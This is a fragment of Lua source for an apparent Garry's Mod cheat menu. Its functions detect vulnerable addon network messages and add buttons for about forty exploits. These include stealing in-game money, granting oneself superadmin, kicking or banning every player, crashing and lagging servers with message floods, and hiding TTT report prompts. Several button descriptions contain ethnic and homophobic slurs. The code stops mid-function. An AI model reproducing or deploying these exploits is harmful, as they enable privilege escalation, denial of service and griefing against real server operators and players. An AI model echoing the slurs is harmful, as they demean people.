995 totalSploits = 0
996
997 function addExploit(id, text, desc, func)
998 totalSploits = 1 + totalSploits
999 local id = vgui.Create("DButton", exploitsScrollPanel)
1000 id:SetText(text)
1001 id:SetTextColor(Color(200, 200, 200))
1002 id:SetFont("Roboto")
1003 id:Dock(TOP)
1004 id:DockMargin(10, 10, 10, -5)
1005 id:DockPadding(2, 25, 2, 50)
1006 id.DoClick = func
1007
1008 if desc then
1009 id:SetToolTip(desc)
1010 end
1011
1012 id.Paint = function(self, w, h)
1013 id.OnCursorEntered = function(self)
1014 -- surface.PlaySound( "garrysmod/ui_hover.wav" )
1015 surface.PlaySound("buttons/button15.wav")
1016 end
1017
1018 if id:IsHovered() then
1019 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1020 surface.SetDrawColor(Color(0, 0, 0, 255))
1021 surface.DrawOutlinedRect(0, 0, id:GetSize())
1022 surface.DrawOutlinedRect(0, 25, id:GetSize())
1023 else
1024 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1025 surface.SetDrawColor(Color(0, 0, 0, 255))
1026 surface.DrawOutlinedRect(0, 0, id:GetSize())
1027 surface.DrawOutlinedRect(0, 25, id:GetSize())
1028 end
1029 end
1030 end
1031
1032 --////////////////// [EXPLOITS] ////////////////////
1033 status = ValidNetString("TCBBuyAmmo")
1034
1035 if (status) then
1036 ECPrint("Found Exploit: Free Ammo [TCBBuyAmmo]")
1037
1038 addExploit("1", "Free Ammo", "Gets All Ammo Types", function()
1039 surface.PlaySound("garrysmod/ui_click.wav")
1040 ECPrint("Getting Le Ammo")
1041
1042 for k, v in pairs(GAMEMODE.AmmoTypes) do
1043 net.Start("TCBBuyAmmo")
1044 net.WriteTable({nil, v.ammoType, nil, "0", "999999"})
1045 net.SendToServer()
1046 end
1047 end)
1048 end
1049
1050 status = ValidNetString("DataSend")
1051
1052 if (status) then
1053 ECPrint("Found Exploit: Steal All Monies #1 [DataSend]")
1054
1055 addExploit("2", "Steal All Monies #1", "Takes money from printers", function()
1056 surface.PlaySound("garrysmod/ui_click.wav")
1057
1058 for k, v in pairs(ents.GetAll()) do
1059 if v:GetClass() == "adv_moneyprinter" then
1060 ECPrint("Collecting Money")
1061 net.Start("DataSend")
1062 net.WriteFloat(2)
1063 net.WriteEntity(v)
1064 net.WriteEntity(LocalPlayer())
1065 net.SendToServer()
1066 end
1067 end
1068 end)
1069 end
1070
1071 status = ValidNetString("FarmingmodSellItems")
1072
1073 if (status) then
1074 ECPrint("Found Exploit: Free Money [FarmingmodSellItems]")
1075
1076 addExploit("3", "Free Money", "An exploit in the Farming Mod", function()
1077 surface.PlaySound("garrysmod/ui_click.wav")
1078 ECPrint("Enjoy the b1g monies")
1079 net.Start("FarmingmodSellItems")
1080
1081 net.WriteTable({
1082 Cost = 10,
1083 CropModel = "models/props/eryk/garlic.mdl",
1084 CropType = 2,
1085 Info = "Garlic Seed",
1086 Model = "models/props/eryk/seedbag.mdl",
1087 Name = "Garlic",
1088 Quality = 4,
1089 Sell = 99999,
1090 Type = "Seed"
1091 })
1092
1093 net.WriteInt(1, 16)
1094 net.SendToServer()
1095 end)
1096 end
1097
1098 status = ValidNetString("start_wd_emp")
1099
1100 if (status) then
1101 ECPrint("Found Exploit: Hack Keypad [start_wd_emp]")
1102
1103 addExploit("4", "Hack Keypad", "Instantly opens nearby keypads. Has a cooldown", function()
1104 surface.PlaySound("garrysmod/ui_click.wav")
1105 ECNotify("Hacking Keypads")
1106 net.Start("start_wd_emp")
1107 net.SendToServer()
1108 end)
1109 end
1110
1111 status = ValidNetString("duelrequestguiYes")
1112
1113 if (status) then
1114 ECPrint("Found Exploit: Get Money [duelrequestguiYes]")
1115
1116 addExploit("5", "Get Money", "Duel Exploit", function()
1117 surface.PlaySound("garrysmod/ui_click.wav")
1118 ECNotify("getting ez monies")
1119 net.Start("duelrequestguiYes")
1120 net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999, 32)
1121 net.WriteEntity(table.Random(player.GetAll()))
1122 net.WriteString("Crossbow")
1123 net.SendToServer()
1124 end)
1125 end
1126
1127 status = ValidNetString("DarkRP_Kun_ForceSpawn")
1128
1129 if (status) then
1130 ECPrint("Found Exploit: Respawn #1 [DarkRP_Kun_ForceSpawn]")
1131
1132 addExploit("6", "Respawn #1", "Just respawn", function()
1133 surface.PlaySound("garrysmod/ui_click.wav")
1134 ECPrint("Respawn")
1135 net.Start("DarkRP_Kun_ForceSpawn")
1136 net.SendToServer()
1137 end)
1138 end
1139
1140 status = ValidNetString("SyncPrinterButtons76561198056171650")
1141
1142 if (status) then
1143 ECPrint("Found Exploit: Steal All Monies #2 [SyncPrinterButtons76561198056171650]")
1144
1145 addExploit("7", "Steal All Monies #2", "Takes money from printers", function()
1146 surface.PlaySound("garrysmod/ui_click.wav")
1147 ECPrint("Collecting Money")
1148
1149 for k, v in pairs(ents.GetAll()) do
1150 if (v:GetClass() == "adv_moneyprinter") then
1151 net.Start("SyncPrinterButtons76561198056171650")
1152 net.WriteEntity(v)
1153 net.WriteUInt(2, 4)
1154 net.SendToServer()
1155 end
1156 end
1157 end)
1158 end
1159
1160 ---------------------------------------------------------------------------------------------
1161 local function report()
1162 for i = 1, 2000 do
1163 net.Start("DL_Answering")
1164 net.SendToServer()
1165 end
1166 end
1167
1168 if (Damagelog) then
1169 ECPrint("Found Exploit: Kick All Players")
1170 reportSpam = 0
1171
1172 addExploit("1337", "Kick All Players", "Kicks all players", function()
1173 surface.PlaySound("garrysmod/ui_click.wav")
1174
1175 if (reportSpam == 0) then
1176 ECNotify("Starting Kicker")
1177 reportSpam = 1
1178 timer.Create("reportSpammer", 0.05, 0, report)
1179 else
1180 ECNotify("Stopping Kicker")
1181 reportSpam = 0
1182 timer.Remove("reportSpammer")
1183 end
1184 end)
1185 end
1186
1187 ----------------------------------------------------------------------------------------------
1188 status = ValidNetString("SimplicityAC_aysent")
1189
1190 if (status) then
1191 ECPrint("Found Exploit: Crash #1 [SimplicityAC_aysent]")
1192
1193 addExploit("8", "Crash #1", "Will instantly crash the server", function()
1194 surface.PlaySound("garrysmod/ui_click.wav")
1195 ECPrint("Goodbye Server")
1196 local tbl = {}
1197
1198 for i = 1, 400 do
1199 tbl[i] = i
1200 end
1201
1202 net.Start("SimplicityAC_aysent")
1203 net.WriteUInt(1, 8)
1204 net.WriteUInt(4294967295, 32)
1205 net.WriteTable(tbl)
1206 net.SendToServer()
1207 end)
1208 end
1209
1210 status = ValidNetString("RevivePlayer")
1211
1212 if (status) then
1213 ECPrint("Found Exploit: Reanimation #1 [RevivePlayer]")
1214
1215 addExploit("9", "Reanimation #1", "Instant revival", function()
1216 surface.PlaySound("garrysmod/ui_click.wav")
1217
1218 if not timer.Exists("reanimation1") then
1219 ECNotify("Enabled")
1220
1221 timer.Create("reanimation1", 0.5, 0, function()
1222 if not LocalPlayer():Alive() then
1223 net.Start("RevivePlayer")
1224 net.WriteEntity(LocalPlayer())
1225 net.SendToServer()
1226 end
1227 end)
1228 else
1229 timer.Remove("reanimation1")
1230 ECNotify("Disabled")
1231 end
1232 end)
1233 end
1234
1235 status = ValidNetString("NLRKick")
1236
1237 if (status) then
1238 ECPrint("Found Exploit: Kick Everyone [NLRKick]")
1239
1240 addExploit("10", "Kick Everyone", "kick all the beaners", function()
1241 surface.PlaySound("garrysmod/ui_click.wav")
1242 ECNotify("Kicking All")
1243
1244 for k, v in pairs(player.GetAll()) do
1245 if v ~= LocalPlayer() then
1246 net.Start("NLRKick")
1247 net.WriteEntity(v)
1248 net.SendToServer()
1249 end
1250 end
1251 end)
1252 end
1253
1254 status = ValidNetString("timebombDefuse")
1255
1256 if (status) then
1257 ECPrint("Found Exploit: Delete All Props [timebombDefuse]")
1258
1259 addExploit("11", "Delete All Props", "props = dead", function()
1260 surface.PlaySound("garrysmod/ui_click.wav")
1261 ECNotify("Props De_Stroyed")
1262
1263 for k, v in pairs(ents.GetAll()) do
1264 net.Start("timebombDefuse")
1265 net.WriteEntity(v)
1266 net.WriteBool(true)
1267 net.SendToServer()
1268 end
1269 end)
1270 end
1271
1272 status = ValidNetString("NDES_SelectedEmblem")
1273
1274 if (status) then
1275 ECPrint("Found Exploit: Lagger #2 [NDES_SelectedEmblem]")
1276
1277 addExploit("12", "Lagger #2", "oof yuh get l4gged", function()
1278 surface.PlaySound("garrysmod/ui_click.wav")
1279
1280 if not timer.Exists("lagger2") then
1281 timer.Create("lagger2", 0.5, 0, function()
1282 for i = 1, 2000 do
1283 net.Start("NDES_SelectedEmblem", true)
1284 net.WriteString("seized")
1285 net.SendToServer()
1286 end
1287 end)
1288
1289 ECNotify("Starting Lagger")
1290 else
1291 timer.Remove("lagger2")
1292 ECNotify("Stopping Lagger")
1293 end
1294 end)
1295 end
1296
1297 status = ValidNetString("Morpheus.StaffTracker")
1298
1299 if (status) then
1300 ECPrint("Found Exploit: Crasher #1 [Morpheus.StaffTracker]")
1301
1302 addExploit("13", "Crasher #1", "not even hard. unlike nippy's dick when he sees voltz", function()
1303 surface.PlaySound("garrysmod/ui_click.wav")
1304
1305 if not timer.Exists("crasher1") then
1306 timer.Create("crasher1", 0.5, 0, function()
1307 for i = 1, 2000 do
1308 net.Start("Morpheus.StaffTracker")
1309 net.SendToServer()
1310 end
1311 end)
1312
1313 ECNotify("Crashing Server")
1314 else
1315 timer.Remove("crasher1")
1316 ECNotify("Canceling Crasher")
1317 end
1318 end)
1319 end
1320
1321 status = ValidNetString("egg")
1322
1323 if (status) then
1324 ECPrint("Found Exploit: Get Easter Egg")
1325
1326 addExploit("14", "Get Easter Egg", "ez eggs", function()
1327 surface.PlaySound("garrysmod/ui_click.wav")
1328 RunConsoleCommand("say", "4bigz")
1329 RunConsoleCommand("cc_egg2")
1330 net.Start("egg")
1331 net.SendToServer()
1332 ECNotify("Gave Easter Egg")
1333 end)
1334 end
1335
1336 status = ValidNetString("pplay_deleterow")
1337
1338 if (status) then
1339 ECPrint("Found Exploit: GET SUPERADMIN [pplay_deleterow]")
1340
1341 addExploit("15", "GET SUPERADMIN", "Rejoin game after clicking", function()
1342 surface.PlaySound("garrysmod/ui_click.wav")
1343 local id = LocalPlayer():SteamID()
1344 local tbl = {}
1345 tbl.name = "FAdmin_PlayerGroup"
1346 tbl.where = {"steamid", tostring(id)}
1347 net.Start("pplay_deleterow")
1348 net.WriteTable(tbl)
1349 net.SendToServer()
1350 local tbl = {}
1351 tbl.tblname = "FAdmin_PlayerGroup"
1352 tbl.tblinfo = {tostring(id), "superadmin"}
1353 net.Start("pplay_addrow")
1354 net.WriteTable(tbl)
1355 net.SendToServer()
1356 ECNotify("promotion ;)")
1357 end)
1358 end
1359
1360 -- ttt report bypass by daddy grampa
1361 local function CheckChild(pan)
1362 local title = "You have been reported! Please answer all your reports."
1363 if not pan or not IsValid(pan) then return end
1364
1365 if pan.GetTitle and pan:GetTitle() == title then
1366 pan:Remove()
1367 print("Removed warning box")
1368
1369 return
1370 end
1371
1372 for k, v in pairs(pan:GetChildren()) do
1373 if v.GetTitle and v:GetTitle() == title then
1374 v:Remove()
1375 print("Removed warning box")
1376
1377 return
1378 end
1379
1380 if #v:GetChildren() > 0 then
1381 CheckChild(v)
1382 end
1383 end
1384 end
1385
1386 if (engine.ActiveGamemode() == "terrortown") then
1387 bypass = 0
1388 ECPrint("Found Exploit: TTT Report Bypass")
1389
1390 addExploit("16", "Toggle TTT Report Bypass", "b1g bypass amirite", function()
1391 surface.PlaySound("garrysmod/ui_click.wav")
1392
1393 if (bypass == 0) then
1394 hook.Add("Think", "remove_ttt_report", function()
1395 local pan = vgui.GetHoveredPanel()
1396 CheckChild(pan)
1397 end)
1398
1399 ECNotify("Enabled Report Bypass")
1400 bypass = 1
1401 else
1402 hook.Remove("Think", "remove_ttt_report")
1403 ECNotify("Disabled Report Bypass")
1404 bypass = 0
1405 end
1406 end)
1407 end
1408
1409 status = ValidNetString("EZS_PlayerTag")
1410
1411 if (status) then
1412 ECPrint("Found Exploit: Lagger #3 [EZS_PlayerTag]")
1413
1414 addExploit("17", "Lagger #3", "b1g lags my duder", function()
1415 surface.PlaySound("garrysmod/ui_click.wav")
1416
1417 if not timer.Exists("lagger3") then
1418 timer.Create("lagger3", 0.5, 0, function()
1419 for k, v in pairs(player.GetAll()) do
1420 net.Start("EZS_PlayerTag", true)
1421 net.WriteEntity(v)
1422 net.WriteString("Seized")
1423 net.SendToServer()
1424
1425 timer.Simple(2, function()
1426 net.Start("EZS_PlayerTag", true)
1427 net.WriteEntity(v)
1428 net.WriteString("Seized")
1429 net.SendToServer()
1430 end)
1431 end
1432 end)
1433
1434 ECNotify("Starting Lagger")
1435 else
1436 timer.Remove("lagger3")
1437 ECNotify("Stopping Lagger")
1438 end
1439 end)
1440 end
1441
1442 if ConVarExists("advttt_spreadovertime_enabled") then
1443 ECPrint("Found Exploit: Remove Spread")
1444
1445 addExploit("18", "Remove Spread", "pSilent No Spread", function()
1446 surface.PlaySound("garrysmod/ui_click.wav")
1447 hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
1448 ECNotify("Spread Removed")
1449 end)
1450 end
1451
1452 status = ValidNetString("fp_as_doorHandler")
1453
1454 if (status) then
1455 ECPrint("Found Exploits: Open Door, Close Door, Remove Door Owners [fp_as_doorHandler]")
1456
1457 addExploit("19", "Open Door", "Force open the door you are looking at", function()
1458 surface.PlaySound("garrysmod/ui_click.wav")
1459 net.Start("fp_as_doorHandler")
1460 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1461 net.WriteString("unlock")
1462 net.SendToServer()
1463 ECNotify("Opened Door")
1464 end)
1465 end
1466
1467 status = ValidNetString("fp_as_doorHandler")
1468
1469 if (status) then
1470 addExploit("20", "Close Door", "Force close the door you are looking at", function()
1471 surface.PlaySound("garrysmod/ui_click.wav")
1472 net.Start("fp_as_doorHandler")
1473 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1474 net.WriteString("lock")
1475 net.SendToServer()
1476 ECNotify("Opened Door")
1477 end)
1478 end
1479
1480 status = ValidNetString("fp_as_doorHandler")
1481
1482 if (status) then
1483 addExploit("21", "Remove Door Owner", "Force remove door owner of the door you are looking at", function()
1484 surface.PlaySound("garrysmod/ui_click.wav")
1485 local door = LocalPlayer():GetEyeTrace().Entity
1486 local doorOwner = door:getDoorData()["owner"]
1487 net.Start("fp_as_doorHandler")
1488 net.WriteEntity(door)
1489 net.WriteString("removeOwner")
1490 net.WriteDouble(doorOwner)
1491 net.SendToServer()
1492 ECNotify("Opened Door")
1493 end)
1494 end
1495
1496 status = ValidNetString("VJSay")
1497
1498 if (status) then
1499 ECPrint("Found Exploit: VJSay [OLD] [VJSay]")
1500
1501 addExploit("22", "VJSay [OLD]", "", function()
1502 surface.PlaySound("garrysmod/ui_click.wav")
1503 inputFrame2Exists = true
1504 inputFrame2 = vgui.Create("DFrame")
1505 inputFrame2:SetTitle("Enter your message!")
1506 inputFrame2:SetSize(400, 75)
1507 inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230)
1508 inputFrame2:SetDraggable(false)
1509 inputFrame2:ShowCloseButton(false)
1510 inputFrame2:MakePopup()
1511
1512 inputFrame2.Paint = function(self, w, h)
1513 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
1514 end
1515
1516 local TextEntry2 = vgui.Create("DTextEntry", inputFrame2)
1517 TextEntry2:SetSize(380, 30)
1518 TextEntry2:SetPos(inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2)
1519 TextEntry2:SetText("Broadcast Msg")
1520
1521 TextEntry2.OnEnter = function(self)
1522 surface.PlaySound("garrysmod/ui_click.wav")
1523 ECNotify("Broadcasting")
1524 net.Start("VJSay")
1525 net.WriteEntity(nil)
1526 net.WriteString(TextEntry2:GetValue())
1527 net.WriteString("")
1528 net.SendToServer()
1529 inputFrame2:SetVisible(false)
1530 end
1531 end)
1532 end
1533
1534 status = ValidNetString("ply_pick_shit")
1535
1536 if (status) then
1537 ECPrint("Found Exploit: free money amirite [ply_pick_shit]")
1538
1539 addExploit("23", "free money amirite", "stacks in ur wallet generator", function()
1540 surface.PlaySound("garrysmod/ui_click.wav")
1541
1542 for k, v in pairs(player.GetAll()) do
1543 for i = 1, 255 do
1544 net.Start("ply_pick_shit")
1545 net.WriteEntity(LocalPlayer())
1546 net.WriteEntity(v)
1547 net.SendToServer()
1548 end
1549 end
1550
1551 ECNotify("enjoy monies")
1552 end)
1553 end
1554
1555 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
1556
1557 if (status) then
1558 ECPrint("Found Exploit: Crasher #2 [pac.net.TouchFlexes.ClientNotify]")
1559
1560 addExploit("24", "Crasher #2", "big lagz", function()
1561 surface.PlaySound("garrysmod/ui_click.wav")
1562
1563 if not timer.Exists("crasher2") then
1564 timer.Create("crasher2", 0, 0, function()
1565 for i = 1, 400 do
1566 net.Start("pac.net.TouchFlexes.ClientNotify")
1567 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1568 net.SendToServer()
1569 end
1570 end)
1571
1572 ECNotify("Starting Crasher")
1573 else
1574 timer.Remove("crasher2")
1575 ECNotify("Stopping Crasher")
1576 end
1577 end)
1578 end
1579
1580 status = ValidNetString("BM2.Command.SellBitcoins")
1581
1582 if (status) then
1583 ECPrint("Found Exploit: Sell Your Bitcoins [BM2.Command.SellBitcoins]")
1584
1585 addExploit("25", "Sell your Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
1586 surface.PlaySound("garrysmod/ui_click.wav")
1587
1588 for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
1589 net.Start("BM2.Command.SellBitcoins")
1590 net.WriteEntity(v)
1591 net.SendToServer()
1592 end
1593
1594 for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
1595 net.Start("BM2.Command.SellBitcoins")
1596 net.WriteEntity(v)
1597 net.SendToServer()
1598 end
1599
1600 for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
1601 net.Start("BM2.Command.SellBitcoins")
1602 net.WriteEntity(v)
1603 net.SendToServer()
1604 end
1605 end)
1606 end
1607
1608 status = ValidNetString("BM2.Command.Eject")
1609
1610 if (status) then
1611 ECPrint("Found Exploit: Lagger #4 [BM2.Command.Eject]")
1612
1613 addExploit("26", "Lagger #4", "discovered by triggered", function()
1614 surface.PlaySound("garrysmod/ui_click.wav")
1615
1616 if not timer.Exists("lagger4") then
1617 timer.Create("lagger4", 0, 0, function()
1618 for i = 1, 1000 do
1619 net.Start("BM2.Command.Eject", true)
1620 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
1621 net.SendToServer()
1622 end
1623 end)
1624
1625 ECNotify("Starting Lagger")
1626 else
1627 timer.Remove("lagger4")
1628 ECNotify("Stopping Lagger")
1629 end
1630 end)
1631 end
1632
1633 status = ValidNetString("BM2.Command.SellBitcoins")
1634
1635 if (status) then
1636 ECPrint("Found Exploit: Lagger #5 [BM2.Command.SellBitcoins]")
1637
1638 addExploit("27", "Lagger #5", "discovered by Leith, an exploit in the addon 'Bitminers 2'", function()
1639 surface.PlaySound("garrysmod/ui_click.wav")
1640
1641 timer.Create("lagger5", 0, 0, function()
1642 for i = 1, 1000 do
1643 net.Start("BM2.Command.SellBitcoins", true)
1644 net.WriteEntity(LocalPlayer())
1645 net.SendToServer()
1646 end
1647 end)
1648 end)
1649 end
1650
1651 status = ValidNetString("ItemStoreUse")
1652
1653 if (status) then
1654 ECPrint("Found Exploit: Lagger #6 [ItemStoreUse]")
1655
1656 addExploit("28", "Lagger #6", "discovered by triggered, an exploit in the addon 'ItemStore'", function()
1657 surface.PlaySound("garrysmod/ui_click.wav")
1658
1659 if not timer.Exists("lagger6") then
1660 timer.Create("lagger6", 0, 0, function()
1661 for i = 1, 1000 do
1662 net.Start("ItemStoreUse", true)
1663 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1664 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1665 net.SendToServer()
1666 end
1667 end)
1668
1669 ECNotify("Starting Lagger")
1670 else
1671 timer.Remove("lagger6")
1672 ECNotify("Stopping Lagger")
1673 end
1674 end)
1675 end
1676
1677 status = ValidNetString("ItemStoreDrop")
1678
1679 if (status) then
1680 ECPrint("Found Exploit: Lagger #7 [ItemStoreDrop]")
1681
1682 addExploit("29", "Lagger #7", "discovered by Leith, an exploit in the addon 'ItemStore'", function()
1683 surface.PlaySound("garrysmod/ui_click.wav")
1684
1685 if not timer.Exists("lagger7") then
1686 timer.Create("lagger7", 0, 0, function()
1687 for i = 1, 1000 do
1688 net.Start("ItemStoreDrop", true)
1689 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1690 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1691 net.SendToServer()
1692 end
1693 end)
1694
1695 ECNotify("Starting Lagger")
1696 else
1697 timer.Remove("lagger7")
1698 ECNotify("Stopping Lagger")
1699 end
1700 end)
1701 end
1702
1703 status = ValidNetString("gMining.sellMineral")
1704
1705 if (status) then
1706 ECPrint("Found Exploit: Lagger #8 [gMining.sellMineral]")
1707
1708 addExploit("30", "Lagger #8", "discovered by Leith, an exploit in the addon 'gMining'", function()
1709 surface.PlaySound("garrysmod/ui_click.wav")
1710 ECNotify("Starting")
1711
1712 if not timer.Exists("lagger8") then
1713 timer.Create("lagger8", 0, 0, function()
1714 for i = 1, 1000 do
1715 net.Start("gMining.sellMineral", true)
1716 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
1717 net.WriteString(" ")
1718 net.SendToServer()
1719 end
1720 end)
1721 end
1722 end)
1723 end
1724
1725 status = ValidNetString("PlayerUseItem")
1726
1727 if (status) then
1728 ECPrint("Found Exploit: Lagger #9 [PlayerUseItem]")
1729
1730 addExploit("31", "Lagger #9", "discovered by triggered", function()
1731 surface.PlaySound("garrysmod/ui_click.wav")
1732
1733 if not timer.Exists("lagger9") then
1734 timer.Create("lagger9", 0, 0, function()
1735 for i = 1, 800 do
1736 net.Start("PlayerUseItem", true)
1737 net.WriteInt(99999999999999999999999999999999999999999999999, 32)
1738 net.SendToServer()
1739 end
1740 end)
1741
1742 ECNotify("Starting Lagger")
1743 else
1744 timer.Remove("lagger9")
1745 ECNotify("Stopping Lagger")
1746 end
1747 end)
1748 end
1749
1750 status = ValidNetString("RequestMAPSize")
1751
1752 if (status) then
1753 ECPrint("Found Exploit: Lagger #10 [RequestMAPSize]")
1754
1755 addExploit("32", "Lagger #10", "1tap server", function()
1756 surface.PlaySound("garrysmod/ui_click.wav")
1757
1758 if not timer.Exists("lagger10") then
1759 timer.Create("lagger10", 0, 0, function()
1760 for i = 1, 400 do
1761 net.Start("RequestMAPSize", true)
1762 net.SendToServer()
1763 end
1764 end)
1765
1766 ECNotify("Starting Lagger")
1767 else
1768 timer.Remove("lagger10")
1769 ECNotify("Stopping Lagger")
1770 end
1771 end)
1772 end
1773
1774 status = ValidNetString("MG2.Request.GangRankings")
1775
1776 if (status) then
1777 ECPrint("Found Exploit: Lagger #11 [MG2.Request.GangRankings]")
1778
1779 addExploit("33", "Lagger #11", "discovered by Leith, an exploit in the addon 'MGangs 2'", function()
1780 surface.PlaySound("garrysmod/ui_click.wav")
1781
1782 if not timer.Exists("lagger11") then
1783 timer.Create("lagger11", 0, 0, function()
1784 for i = 1, 1000 do
1785 net.Start("MG2.Request.GangRankings", true)
1786 net.SendToServer()
1787 end
1788 end)
1789
1790 ECNotify("Starting Lagger")
1791 else
1792 timer.Remove("lagger11")
1793 ECNotify("Stopping Lagger")
1794 end
1795 end)
1796 end
1797
1798 status = ValidNetString("dLogsGetCommand")
1799
1800 if (status) then
1801 ECPrint("Found Exploit: Lagger #12 [dLogsGetCommand]")
1802
1803 addExploit("34", "Lagger #12", "b1g lags", function()
1804 surface.PlaySound("garrysmod/ui_click.wav")
1805 ECNotify("Starting Lagger")
1806
1807 for i = 1, 7000 do
1808 net.Start("dLogsGetCommand", true)
1809
1810 net.WriteTable({
1811 cmd = "+forward",
1812 args = " "
1813 })
1814
1815 net.SendToServer()
1816 end
1817 end)
1818 end
1819
1820 status = ValidNetString("ats_send_toServer")
1821
1822 if (status) then
1823 ECPrint("Found Exploit: Lagger #13 [ats_send_toServer]")
1824
1825 addExploit("35", "Lagger #13", "big lags", function()
1826 surface.PlaySound("garrysmod/ui_click.wav")
1827 ECNotify("Starting Lagger")
1828
1829 for i = 1, 2000 do
1830 net.Start("ats_send_toServer", true)
1831 net.WriteTable({" ", "Open", nil, nil, nil, nil})
1832 net.SendToServer()
1833 end
1834 end)
1835 end
1836
1837 status = ValidNetString("shopguild_buyitem")
1838
1839 if (status) then
1840 ECPrint("Found Exploit: Guild Exploit [shopguild_buyitem]")
1841
1842 addExploit("36", "Guild Exploit", "increases the level of your guild", function()
1843 surface.PlaySound("garrysmod/ui_click.wav")
1844 ECPrint("Guild level successfully upgraded")
1845 local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1846
1847 if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then
1848 level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1849 end
1850
1851 net.Start("shopguild_buyitem")
1852 net.WriteString("lvl")
1853 net.WriteDouble(level)
1854 net.WriteString("Guild Level " .. level)
1855 net.WriteEntity(LocalPlayer())
1856 net.WriteUInt(2, 4)
1857 net.WriteDouble(0)
1858 net.SendToServer()
1859 level = level + 1
1860 end)
1861 end
1862
1863 status = ValidNetString("VoteKickNO")
1864
1865 if (status) then
1866 ECPrint("Found Exploit: Votekick [VoteKickNO]")
1867
1868 addExploit("37", "Votekick", "kicking all", function()
1869 surface.PlaySound("garrysmod/ui_click.wav")
1870
1871 for k, v in pairs(player.GetAll()) do
1872 net.Start("VoteKickNO")
1873 net.WriteFloat(v:EntIndex())
1874 net.WriteFloat(6)
1875 net.SendToServer()
1876 net.Start("VoteKickNO")
1877 net.WriteFloat(v:EntIndex())
1878 net.WriteFloat(6)
1879 net.SendToServer()
1880 net.Start("VoteKickNO")
1881 net.WriteFloat(v:EntIndex())
1882 net.WriteFloat(6)
1883 net.SendToServer()
1884 net.Start("VoteKickNO")
1885 net.WriteFloat(v:EntIndex())
1886 net.WriteFloat(6)
1887 net.SendToServer()
1888 end
1889 end)
1890 end
1891
1892 status = ValidNetString("VoteBanNO")
1893
1894 if (status) then
1895 ECPrint("Found Exploit: Voteban [VoteBanNO]")
1896
1897 addExploit("38", "Voteban", "bans all", function()
1898 surface.PlaySound("garrysmod/ui_click.wav")
1899
1900 for k, v in pairs(player.GetAll()) do
1901 net.Start("VoteBanNO")
1902 net.WriteFloat(v:EntIndex())
1903 net.WriteFloat(8)
1904 net.SendToServer()
1905 net.Start("VoteBanNO")
1906 net.WriteFloat(v:EntIndex())
1907 net.WriteFloat(8)
1908 net.SendToServer()
1909 net.Start("VoteBanNO")
1910 net.WriteFloat(v:EntIndex())
1911 net.WriteFloat(8)
1912 net.SendToServer()
1913 end
1914 end)
1915 end
1916
1917 status = ValidNetString("NewReport")
1918
1919 if (status) then
1920 ECPrint("Found Exploit: Custom Report [NewReport]")
1921
1922 addExploit("39", "Custom Report", "Report all faggots", function()
1923 surface.PlaySound("garrysmod/ui_click.wav")
1924
1925 for k, v in pairs(player.GetAll()) do
1926 net.Start("NewReport")
1927 net.WriteType(ply)
1928 net.WriteInt(8, 5)
1929 net.WriteString("hahaha")
1930 net.SendToServer()
1931 end
1932 end)
1933 end
1934
1935 status = ValidNetString("Warn_CreateWarn")
1936
1937 if (status) then
1938 ECPrint("Found Exploit: Custom Warn [Warn_CreateWarn]")
1939
1940 addExploit("40", "Custom Warn", "Warn all faggots", function()
1941 surface.PlaySound("garrysmod/ui_click.wav")
1942
1943 for k, v in pairs(player.GetAll()) do
1944 net.Start("Warn_CreateWarn")
1945 net.WriteEntity(ply)
1946 net.WriteString("hahaha")
1947 net.SendToServer()
1948 end
1949 end)
1950 end
1951
1952 status = ValidNetString("showDisguiseHUD")
1953
1954 if (status) then
1955 ECPrint("Found Exploit: Disguise #2 [showDisguiseHUD]")
1956
1957 addExploit("41", "Disguise #2", "allows you to disguise as any job", function()
1958 surface.PlaySound("garrysmod/ui_click.wav")
1959 ECPrint("Choose a disguise")
1960 PlayerCount = 0
1961
1962 for k, v in pairs(player.GetAll()) do
1963 PlayerCount = PlayerCount + 1
1964 end
1965
1966 local TeamNum
1967 local disguise_Model_Preview_Default
1968 local base = vgui.Create("DFrame")
1969 base:SetSize(300, 420)
1970 base:Center()
1971 base:SetTitle(" ")
1972 base:ShowCloseButton(false)
1973 base:MakePopup()
1974
1975 function base:Paint()
1976 draw.RoundedBoxEx(5, 0, 0, base:GetWide(), base:GetTall(), Color(20, 20, 20, 200), false, true)
1977 draw.RoundedBox(0, 0, 30, base:GetWide(), base:GetTall() - 60, Color(10, 10, 10, 200))
1978 draw.RoundedBox(0, 0, 30, base:GetWide(), 5, Color(255, 255, 255, 255))
1979 draw.RoundedBox(0, 0, 390, base:GetWide(), 5, Color(255, 255, 255, 255))
1980 draw.SimpleText("Disguise", "DisFontBold", base:GetWide() / 4, -1)
1981 end
1982
1983 local ExitButton = vgui.Create("DButton", base)
1984 ExitButton:SetPos(base:GetWide() + 4 - ExitButton:GetWide())
1985 ExitButton:SetText("Close")
1986 ExitButton:SetSize(60, 20)
1987 ExitButton:SetFont("DermaDefaultBold")
1988
1989 ExitButton.Paint = function()
1990 if ExitButton.Hovered then
1991 if ExitButton:IsDown() then
1992 ExitButton:SetTextColor(Color(200, 200, 200, 200))
